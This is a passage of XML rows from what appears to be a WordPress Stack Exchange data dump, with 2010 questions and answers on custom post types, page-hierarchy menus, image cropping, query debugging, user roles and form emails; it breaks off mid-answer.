  <row Id="4791" PostTypeId="2" ParentId="2658" CreationDate="2010-12-02T21:37:52.680" Score="0" ViewCount="" Body="&lt;p&gt;I've posed that question to Developer Support and I'm waiting on an answer, but in the meantime, they do have guidelines for advertising the plugin, so you can begin building ads/banners, whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest that you ask the metrics question to Google with an open ticket in Android Market &lt;a href=&quot;http://www.google.com/support/androidmarket/bin/request.py?contact_type=publisher&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2010-12-02T21:37:52.680" />
  <row Id="4793" PostTypeId="1" CreationDate="2010-12-02T21:57:06.633" Score="3" ViewCount="180" Body="&lt;p&gt;I have created a custom post type for a sort of gallery whereby users can upload work etc. In addition to this I have taxonomies for this type such as categories, tags, colors, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want users to be able to do two things. a) comment b) critique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know WordPress doesn't support Custom Comment Types so I can't create the critique comments, any ideas on how I could do this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2010-12-02T22:17:02.647" Title="Custom Comment Types" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;comments&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="4794" PostTypeId="1" CreationDate="2010-12-02T22:06:03.140" Score="0" ViewCount="469" Body="&lt;p&gt;Firstly, apologies for the terminology used here, I will try to be as descriptive as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create a menu system that will achieve the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;List top level pages as one menu (level 1)&lt;/li&gt;&#xA;&lt;li&gt;When on a top level page, list the child pages in a separate menu (level 2)&lt;/li&gt;&#xA;&lt;li&gt;When on a child page, list the child pages of that child as a further separate menu (level 3)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From the Codex this creates the menu which happily lists 3 levels of pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(!$post-&amp;gt;post_parent){&#xA;    // will display the subpages of this top level page&#xA;    $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;   }&#xA;&#xA;   else{&#xA;    // diplays only the subpages of parent level&#xA;    //$children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA;&#xA;    if($post-&amp;gt;ancestors)&#xA;    {&#xA;     // now you can get the the top ID of this page&#xA;     // wp is putting the ids DESC, thats why the top level ID is the last one&#xA;     $ancestors = end($post-&amp;gt;ancestors);&#xA;     $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$ancestors.&quot;&amp;amp;echo=0&quot;);&#xA;     // you will always get the whole subpages list&#xA;    }&#xA;   }&#xA;&#xA;   if ($children) { ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;     &amp;lt;?php echo $children; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is fine, but all page listings are in a single list, in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to split this out so I can just grab the child pages, and display that menu in a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; in one part of my page, then i need to grab the third level pages, and display those in another part of my page, in a separate &lt;code&gt;&amp;lt;div&amp;gt;.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-06-09T00:57:54.947" Title="Three menus - parent / child / sibling" Tags="&lt;custom-menus&gt;&lt;page&gt;&lt;menus&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4795" PostTypeId="1" AcceptedAnswerId="4805" CreationDate="2010-12-02T22:15:34.037" Score="0" ViewCount="137" Body="&lt;p&gt;I'm curious what dependencies &lt;code&gt;add_image_size()&lt;/code&gt; has because I just copied a theme over to a new server and began adding thumbnails to custom post types only to find out that my request for hard-cropping is being ignored, and the images are kept proportional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;set_post_thumbnail_size( 80, 80, true );&#xA;add_image_size( 'micro', 32, 32, true);&#xA;add_image_size( 'featured', 340, 225, true );&#xA;add_image_size( 'videowide', 460, 225, true );&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my local server (WAMP Server on Windows Vista) the &lt;code&gt;true&lt;/code&gt; is respected, and the images are cropped in such a way that extra pixels are lost - edges aren't respected. On my live server (CloudLinux Server 5.5 x64), the images are kept proportional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some gdlibrary dependencies or something I am needing to change on the live server to get the expected results?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-03T00:47:43.753" Title="Server B handling add_image_size() differently than Server A" Tags="&lt;post-thumbnails&gt;&lt;add-image-size&gt;&lt;cropping&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="4796" PostTypeId="2" ParentId="4793" CreationDate="2010-12-02T22:17:02.647" Score="4" ViewCount="" Body="&lt;p&gt;First of all, please don't confuse terms.  Custom Post Types is a mis-named feature that should really be Custom &lt;em&gt;Content&lt;/em&gt; Types.  They're pieces of content that aren't posts or pages, but live in the same kind of database.  Like posts and pages, they can have tags, categories, comments, and other custom meta and taxonomies applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, comments are still comments, whether they're on a post, page, or &quot;gallery&quot; in your situation.  So here's my counter-question: what is different between comments and critiques in your scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're fundamentally similar, I'd recommend &lt;em&gt;not&lt;/em&gt;  distinguishing between them.  If they're fundamentally different, try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up &quot;critiques&quot; as its own custom post type.  Then either associate critiques with galleries using a custom taxonomy or by storing the ID of the gallery/piece being critiqued in a custom field of the critique.  This will make it easy to find critiques for specific galleries/pieces in the future while still keeping them distinct from comments.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-02T22:17:02.647" CommentCount="3" />
  <row Id="4797" PostTypeId="2" ParentId="4736" CreationDate="2010-12-02T22:25:12.883" Score="2" ViewCount="" Body="&lt;p&gt;Unfortunately, what you're trying to do is generally frowned upon in most communities.  What I hear you asking for is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A way to remotely retrieve more than the default number of (recent posts)&lt;/li&gt;&#xA;&lt;li&gt;Possibly retrieve &lt;em&gt;all&lt;/em&gt; published posts for a site&lt;/li&gt;&#xA;&lt;li&gt;Without having any direct interaction with the site itself (using RSS)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a practice commonly used to scrape content from blogs and republish it without the permission of the original author.  That's why I say it's generally frowned upon.  Most blog authors put a lot of time and energy into developing great content, so making it easy for a third party to leverage their hard work to add SEO credit to their own site is ... well ... sleezy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I will assume for the moment that you have legitimate reasons for scraping content from over 700 sites.  In that case, I would recommend a separate, programatic method - not RSS.  If you have legitimate login information for all of these sites (i.e. they are your sites and not someone else's) you can use WordPress built-in XML-RPC features to fetch the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the built-in XML-RPC library to pass a request to &lt;code&gt;metaWeblog.getRecentPosts&lt;/code&gt; specifying the ID of the blog (usually 0 for single sites, but could be different in multi-site), your WordPress username, your WordPress password, and the number of posts to fetch (set this to -1 to receive them all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other site will respond with (a rather large) XML file containing the content which you can do with what you want.  This can all happen behind the scenes, and the &lt;code&gt;metaWeblog.getRecentPosts&lt;/code&gt; request will give you much more information than an RSS feed (including custom fields, which might be important to you).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-02T22:25:12.883" />
  <row Id="4798" PostTypeId="2" ParentId="4795" CreationDate="2010-12-02T22:33:43.190" Score="0" ViewCount="" Body="&lt;p&gt;Your question reminded me of a time when I was playing with the Wordpress 3.0 beta and ran into a similar issue. Not sure if this will help you or not, but I stumbled across this post in the &lt;a href=&quot;http://wordpress.org/support/topic/add_new_image-hard-crop-not-working?replies=5&quot; rel=&quot;nofollow&quot;&gt;Wordpress forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi guys.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I´ve spent a lot of my day looking for&#xA;  a solution for this issue and here is&#xA;  the solution, in front of my eyes!&#xA;  Thanks to stylishbeachbum and Alex&#xA;  Mansfield. Yeah, the issue depends of&#xA;  the server. I´m using apache/php/mysql&#xA;  on Windows XP and the php_hd2&#xA;  extension wasn´t enabled.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I´ve enabled that and now is working.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thank you guys.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd love to know if this is the case. I had a few experiments in my Wordpress lab using custom image sizes, but abandoned my tinkering when I mas met with similar oddities.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-02T22:33:43.190" />
  <row Id="4799" PostTypeId="2" ParentId="4789" CreationDate="2010-12-02T22:52:50.230" Score="4" ViewCount="" Body="&lt;p&gt;If you're looking for a way to physically move the wp-admin folder to another location, that is indeed problematic. That's why there is not an easy solution available. Not that it isn't just easy, it is even the opposite. The directory name &quot;wp-admin&quot; is hardcoded deeply into wordpress. This is &lt;strong&gt;by design&lt;/strong&gt;, so wordpress actively prevents to allow a change here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally you can solve this by hacking core and/or by reconfiguring the directory layout within your file-system and the server configuration in addition with a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example has been given in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4037/how-to-redirect-rewrite-all-wp-login-requests/4063#4063&quot;&gt;&lt;strong&gt;&lt;em&gt;How to redirect/rewrite all /wp-login requests&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;, an &lt;a href=&quot;https://gist.github.com/701245&quot; rel=&quot;nofollow&quot;&gt;example plugin is available as well&lt;/a&gt;. You must be able to reconfigure apache for that example.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is another related question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/106/can-i-rename-the-wp-admin-folder&quot;&gt;&lt;strong&gt;&lt;em&gt;Can I rename the wp-admin folder?&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; with a detailed answer by mike.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-02T23:06:37.340" LastActivityDate="2010-12-02T23:06:37.340" />
  <row Id="4800" PostTypeId="1" AcceptedAnswerId="4801" CreationDate="2010-12-02T22:55:46.597" Score="0" ViewCount="83" Body="&lt;p&gt;Often times, a custom theme for Wordpress will require a dynamic content that reflects a relationship to a top level page of a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Conditional Tag that will check if the current page is a grand-child (or separated by further generations) by ID?&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-07-01T19:14:02.390" Title="How can I detect hierarchal relationships beyond children (grandchild, great-grandchild, etc)?" Tags="&lt;theme-development&gt;&lt;template&gt;&lt;conditional-content&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="4801" PostTypeId="2" ParentId="4800" CreationDate="2010-12-02T22:58:57.483" Score="1" ViewCount="" Body="&lt;p&gt;Turns out there is an excellent function that has been passed around the &lt;a href=&quot;http://wordpress.org/support/topic/is_tree-function&quot; rel=&quot;nofollow&quot;&gt;Wordpress forums&lt;/a&gt; &lt;code&gt;is_tree()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_tree($pid) {      // $pid = The ID of the page we're looking for pages underneath&#xA;    global $post;         // load details about this page&#xA;&#xA;    $anc = get_post_ancestors( $post-&amp;gt;ID );&#xA;    foreach($anc as $ancestor) {&#xA;        if(is_page() &amp;amp;&amp;amp; $ancestor == $pid) {&#xA;            return true;&#xA;        }&#xA;    }&#xA;    if(is_page()&amp;amp;&amp;amp;(is_page($pid))) &#xA;               return true;   // we're at the page or at a sub page&#xA;    else &#xA;               return false;  // we're elsewhere&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use it in template, just give it the ID you want to check the current page against, and it will return true if the current page is a descendant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php if(is_tree(12)){echo 'foobar';} ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="1756" LastEditorDisplayName="" LastEditDate="2011-07-01T19:14:02.390" LastActivityDate="2011-07-01T19:14:02.390" />
  <row Id="4802" PostTypeId="2" ParentId="1567" CreationDate="2010-12-02T23:07:15.123" Score="4" ViewCount="" Body="&lt;h2&gt;Conditional to check for hierarchy descendant&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A conditional function to check if the current page is a descendant of the ID given to it. Useful for determining if a page is a grandchild, great-grandchild or father down the hierarchy tree.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_tree($pid) {      // $pid = The ID of the page we're looking for pages underneath&#xA;    global $post;         // load details about this page&#xA;&#xA;    $anc = get_post_ancestors( $post-&amp;gt;ID );&#xA;    foreach($anc as $ancestor) {&#xA;        if(is_page() &amp;amp;&amp;amp; $ancestor == $pid) {&#xA;            return true;&#xA;        }&#xA;    }&#xA;    if(is_page()&amp;amp;&amp;amp;(is_page($pid))) &#xA;               return true;   // we're at the page or at a sub page&#xA;    else &#xA;               return false;  // we're elsewhere&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-02T23:07:15.123" CommunityOwnedDate="2010-12-02T23:07:15.123" CommentCount="1" />
  <row Id="4803" PostTypeId="2" ParentId="4759" CreationDate="2010-12-02T23:16:41.207" Score="1" ViewCount="" Body="&lt;p&gt;Did you find/replace URLs in the database after you moved it to the live server? If not, you still have localhost URLs as opposed to mydomain.com in the database and that may be the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did change URLs, use the Woo Themes functions of export/import of theme settings.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-02T23:16:41.207" />
  <row Id="4804" PostTypeId="1" CreationDate="2010-12-02T23:40:57.113" Score="0" ViewCount="52" Body="&lt;p&gt;I'm working on a project where each page should have a custom header image and custom style colors (borders, etc).  So that I don't have to be the one creating a brand new style everytime a page is created, I'd like a way in the admin area for someone else to edit the image and colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought is to use the custom fields, and they can put in the image URL and HEX codes. But that may be over the head of the people who will be creating the pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just looking for some direction on how to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2010-12-03T01:41:12.813" Title="Suggestions: Customizable header image and style colors that are different for each page" Tags="&lt;page&gt;&lt;page-template&gt;&lt;headers&gt;" AnswerCount="1" />
  <row Id="4805" PostTypeId="2" ParentId="4795" CreationDate="2010-12-03T00:47:43.753" Score="2" ViewCount="" Body="&lt;p&gt;This particular issue was caused by an environment missing &lt;a href=&quot;http://php.net/manual/en/book.image.php&quot; rel=&quot;nofollow&quot;&gt;GD&lt;/a&gt;. After installing GD on the server, the issue was resolved. Of course you will need to go back and re-submit your thumbnails to have correct cropping, or use a plugin to retroactively recreate your thumbnails.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-03T00:47:43.753" />
  <row Id="4806" PostTypeId="1" AcceptedAnswerId="4853" CreationDate="2010-12-03T01:29:36.117" Score="0" ViewCount="71" Body="&lt;p&gt;I have my site hosted at &lt;a href=&quot;http://blog.rgksugan.in&quot; rel=&quot;nofollow&quot;&gt;http://blog.rgksugan.in&lt;/a&gt;. I have set a subdomain in it for my blog. But after landing on my blog whatever other links I click i get the link as &lt;a href=&quot;http://rgksugan.in/blog/wordpress/stack-overflow/&quot; rel=&quot;nofollow&quot;&gt;http://rgksugan.in/blog/wordpress/stack-overflow/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to be &lt;a href=&quot;http://blog.rgksugan.in/stack-overflow&quot; rel=&quot;nofollow&quot;&gt;http://blog.rgksugan.in/stack-overflow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do...?&lt;/p&gt;&#xA;" OwnerUserId="1789" LastActivityDate="2010-12-03T19:23:13.880" Title="How to solve this problem with my subdomain?" Tags="&lt;3.0&gt;" AnswerCount="2" />
  <row Id="4807" PostTypeId="2" ParentId="4804" CreationDate="2010-12-03T01:41:12.813" Score="1" ViewCount="" Body="&lt;p&gt;I think your options are to actually use custom fields,  but you can make them user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header is relatively simple, you can even have a preview or a selection of images to choose from, have a look at how the default twentyten theme enables header options, very user friendly, no urls are used , simple upload or choose an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for colors, hex codes are a pain , but it would not be hard at all to add something like a jquery color picker ( like &lt;a href=&quot;http://gusc.lv/jquery/gccolor.html&quot; rel=&quot;nofollow&quot;&gt;http://gusc.lv/jquery/gccolor.html&lt;/a&gt;) to the fields you define.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-03T01:41:12.813" />
  <row Id="4809" PostTypeId="1" AcceptedAnswerId="4818" CreationDate="2010-12-03T02:12:58.000" Score="2" ViewCount="996" Body="&lt;p&gt;I have come across a function before that displayed the exact SQL code that was used&#xA;in a loop for example, but can't remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me that function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2010-12-03T19:35:11.227" Title="How to display sql query that ran in query?" Tags="&lt;query&gt;&lt;code&gt;&lt;sql&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="4810" PostTypeId="2" ParentId="4809" CreationDate="2010-12-03T02:24:27.143" Score="-3" ViewCount="" Body="&lt;p&gt;Put_Line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processing Queries with PL/SQL&#xA;Processing a SQL query with PL/SQL is like processing files with other languages. For example, a Perl program opens a file, reads the file contents, processes each line, then closes the file. In the same way, a PL/SQL program issues a query and processes the rows from the result set as shown in Example 1-5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 1-5 Processing Query Results in a LOOP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BEGIN&#xA;  FOR someone IN (SELECT * FROM employees WHERE employee_id &amp;lt; 120 )&#xA;  LOOP&#xA;    DBMS_OUTPUT.PUT_LINE('First name = ' || someone.first_name ||&#xA;                         ', Last name = ' || someone.last_name);&#xA;  END LOOP;&#xA;END;&#xA;/&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From &lt;a href=&quot;http://download.oracle.com/docs/cd/B19306_01/appdev.102/b14261/overview.htm#LNPLS001&quot; rel=&quot;nofollow&quot;&gt;Oracle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2010-12-03T02:24:27.143" CommentCount="1" />
  <row Id="4811" PostTypeId="2" ParentId="4665" CreationDate="2010-12-03T02:48:08.700" Score="0" ViewCount="" Body="&lt;p&gt;This command should tell you who &quot;owns&quot; the Apache (httpd) process in your Linux system:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps -ef | grep httpd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also suggest checking at &lt;a href=&quot;http://serverfault.com/about&quot;&gt;ServerFault&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2010-12-03T02:48:08.700" CommentCount="1" />
  <row Id="4812" PostTypeId="1" AcceptedAnswerId="4826" CreationDate="2010-12-03T03:23:20.390" Score="2" ViewCount="159" Body="&lt;p&gt;What are the capabilities that a super-administrator has that an administrator does not have? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The codex page on  &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Administrator&quot; rel=&quot;nofollow&quot;&gt;user capabilities&lt;/a&gt; does not have a list of capabilities of the super-admin. It lists only the capabilities of the administrator. &lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="353" LastEditorDisplayName="" LastEditDate="2010-12-03T04:18:06.610" LastActivityDate="2010-12-03T14:03:45.217" Title="What are the differences in capabilities between the super-administrator and administrator?" Tags="&lt;multisite&gt;&lt;3.0.1&gt;&lt;capabilities&gt;" AnswerCount="3" />
  <row Id="4813" PostTypeId="2" ParentId="4809" CreationDate="2010-12-03T03:25:16.560" Score="2" ViewCount="" Body="&lt;p&gt;See this answer: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/4612#4612&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add ?debug=sql to any WP URL, and it'll output the full list of queries that were run. (And yes, it's scary...)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T03:25:16.560" />
  <row Id="4814" PostTypeId="2" ParentId="4812" CreationDate="2010-12-03T03:30:47.117" Score="2" ViewCount="" Body="&lt;p&gt;The super admin &lt;em&gt;owns&lt;/em&gt; the installation and can do absolutely everything. The admin owns the actual site (or rather, blog...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two are the same on single site installs. On multisite installs, the admin cannot do a couple of things that relate to the filesystem, e.g. install/upgrade/delete themes and plugins, to site management, e.g. view all sites or change site options, and to user management, e.g. he can add and remove existing users to his sites but not create or delete them...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T03:30:47.117" CommentCount="2" />
  <row Id="4815" PostTypeId="1" CreationDate="2010-12-03T03:49:58.880" Score="7" ViewCount="280" Body="&lt;p&gt;I was just wanting to gauge some general feedback on how developers use WordPress as a CMS. I've started having a few client requests for websites built on WordPress. Most of the time, they're pretty simple and the core WordPress functionality works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes though there will be the need for custom functionality, for which I generally browse the thousands of plugins available and use one which suits. However as I build more sites I'm finding that I'm never 100% satisfied with how the plugins work (they either do too much or too little)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys write custom plugins for WordPress sites you build for clients (even if similar ones already exist)? How to you reach a decision when it comes to custom vs existing?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-12-03T07:46:10.520" LastActivityDate="2010-12-06T23:19:55.807" Title="Using WordPress as a CMS: Developer preferences for custom vs existing plugins" Tags="&lt;plugins&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="5" />
  <row Id="4816" PostTypeId="2" ParentId="4815" CreationDate="2010-12-03T04:51:02.120" Score="2" ViewCount="" Body="&lt;p&gt;I have yet to write a custom plug-in for a client but I certainly would if they were paying for it:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just recently dove into the more CMS &quot;like&quot; features of 3.0 with a fully customized medium sized site. Initially I was a bit worried if it was going to actually work out since it required so many custom elements and none of them had to do with actual blogging. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came very close to going with a more sturdy CMS,  but I took the risk and it has payed off. Most everything I needed was fairly easy to accomplish by simple making custom templates ( theme), in fact it was downright easy, and I was surprised by how flexible it is, it's not just a blogging platform anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that being said there are definitely some caveats that can be worked on, I still sometimes find myself saying ..if only it had feature x like...does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note I have come to rely much less on plug-ins in favor or writing custom functions and code, In fact unless it is something specific, unique, or very well done I rarely use them at all.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-03T04:51:02.120" />
  <row Id="4817" PostTypeId="1" AcceptedAnswerId="4820" CreationDate="2010-12-03T04:58:28.963" Score="0" ViewCount="725" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was: &quot;submit button in wordpress.&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to create a registration form to send an email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;http://contactform7.com/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; but I would like to use my own HTML &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;. I can do the entire coding but I just want to know the code for the &lt;em&gt;&quot;submit&quot;&lt;/em&gt; button so that the registrations goes directly to my admin email ID as I don't think the normal HTML code for the submit button will work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out in this?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-03T06:53:08.117" LastActivityDate="2010-12-03T06:53:08.117" Title="Programming WordPress to Send an Email on Registration Form Submit?" Tags="&lt;email&gt;&lt;registration&gt;" AnswerCount="1" />
  <row Id="4818" PostTypeId="2" ParentId="4809" CreationDate="2010-12-03T05:44:54.000" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Keith Donegan:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your question correctly I think this is what you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $GLOBALS['wp_query']-&amp;gt;request; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wp_query&lt;/code&gt; is a global variable that contains the current query run by the loop. If you run the above code  anytime while the loop is still active or even right after the loop it should give you the SQL from the loop. Just make sure you inspect it before letting something else run that uses &lt;code&gt;query_posts()&lt;/code&gt; again.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-03T05:44:54.000" />
  <row Id="4819" PostTypeId="2" ParentId="4815" CreationDate="2010-12-03T06:25:35.773" Score="3" ViewCount="" Body="&lt;p&gt;I'm writing far more custom code lately (plugins and theme functions, really all the same) because when you start using wordpress as a full-fledged CMS, you're dealing with bleeding-edge functions that have only barely been discovered by many (or are still waiting to be stumbled upon in the source itself). So there aren't many plugins out there that handle these newest functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the very nature of using wordpress as a CMS implies a certain specialization and customization for your client; thus even when I've found plugins that handle certain CMS functions, I almost always find I need a more specific solution. Plugins have to be written to be flexibile for all sorts of utilizations, whereas your custom code (which can be based on an existing plugin) can forgo all sorts of unnecessary input forms and settings panels which plugins require to know what you, individually, want as a result. Eliminating those (and hard-coding certain functionality for your client's specific scenario) also reduces the amount of input UI and settings that someone may accidentally touch later...&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-12-03T06:25:35.773" />
  <row Id="4820" PostTypeId="2" ParentId="4817" CreationDate="2010-12-03T06:34:50.293" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ntechi:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you might be able to do something on the client with jQuery I think your best bet would be to use the &lt;a href=&quot;http://en.wikipedia.org/wiki/Post/Redirect/Get&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Post/Redirect/Get Pattern&lt;/strong&gt;&lt;/a&gt; and submit your registration form via a &lt;code&gt;&amp;lt;form method='post'&amp;gt;&lt;/code&gt; action. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code after the screenshot below is a &lt;em&gt;&quot;&lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Page Template&lt;/strong&gt;&lt;/a&gt;&quot;&lt;/em&gt; for a &lt;em&gt;&quot;&lt;a href=&quot;http://codex.wordpress.org/Pages#Pages_in_a_Nutshell&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Page&lt;/strong&gt;&lt;/a&gt;&quot;&lt;/em&gt; illustrates how to achieve what you've asked for with WordPress. Copy the code to your theme directory as &lt;code&gt;page-contact-form.php&lt;/code&gt; &lt;em&gt;(or some other name you like better)&lt;/em&gt; and then create a page that has template set to &lt;em&gt;&quot;Contact Form&quot;&lt;/em&gt; as you see in the screenshot &lt;em&gt;(note I kept the page template as simple as possible to illustrate the technique; you'll typically have a lot more code in your real live page 